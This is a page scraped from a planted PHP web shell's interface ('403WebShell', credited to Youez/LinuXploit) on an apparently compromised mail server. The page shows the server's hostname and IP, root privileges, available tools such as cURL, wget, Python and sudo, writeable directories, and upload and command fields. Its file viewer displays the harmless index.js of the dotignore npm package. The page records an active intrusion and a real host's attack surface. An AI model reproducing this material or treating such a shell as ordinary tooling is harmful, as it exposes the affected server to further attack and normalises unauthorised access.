Uname:Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

403WebShell
403Webshell
Server IP : 82.148.16.210  /  Your IP : 216.73.216.19
Web Server : nginx/1.29.5
System : Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/node_modules/dotignore/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/node_modules/dotignore/index.js
'use strict';

var minimatch = require('minimatch');
var path = require('path');

function IgnoreMatcher(str) {
  var negated = [];
  this.negated = negated;
  var rooted = [];
  this.rooted = rooted;
  this.matchers = str.split(/\r?\n|\r/).map(function (line) {
    var negatedLine = line[0] === '!';
    var commentLine = line[0] === '#';
    var rootedLine = line[0] === '/';
    if (negatedLine || commentLine || rootedLine) {
      line = line.slice(1);
    }
    var emptyLine = line === '';
    if (emptyLine) {
      return null;
    }
    var isShellGlob = line.indexOf('/') >= 0;
    negated[negated.length] = negatedLine;
    rooted[rooted.length] = rootedLine || isShellGlob;
    return minimatch.makeRe(line, {
      comment: commentLine,
      empty: emptyLine,
      matchBase: !rootedLine,
      negated: true // negated
    });
  }).filter(Boolean);
  return this;
}
IgnoreMatcher.prototype.delimiter = path.sep;
IgnoreMatcher.prototype.shouldIgnore = function (filename) {
  var isMatching = false;
  for (var i = 0; i < this.matchers.length; i++) {
    var matcher = this.matchers[i];
    if (this.rooted[i]) {
      if (matcher.test(filename)) {
        isMatching = !this.negated[i];
      }
    } else if (filename.split(this.delimiter).some(function (part) {
      return matcher.test(part);
    })) {
      isMatching = !this.negated[i];
    }
  }
  return isMatching;
};
exports.createMatcher = function (ignoreFileStr) {
  return new IgnoreMatcher(ignoreFileStr);
};

Youez - 2016 - github.com/yon3zu
LinuXploit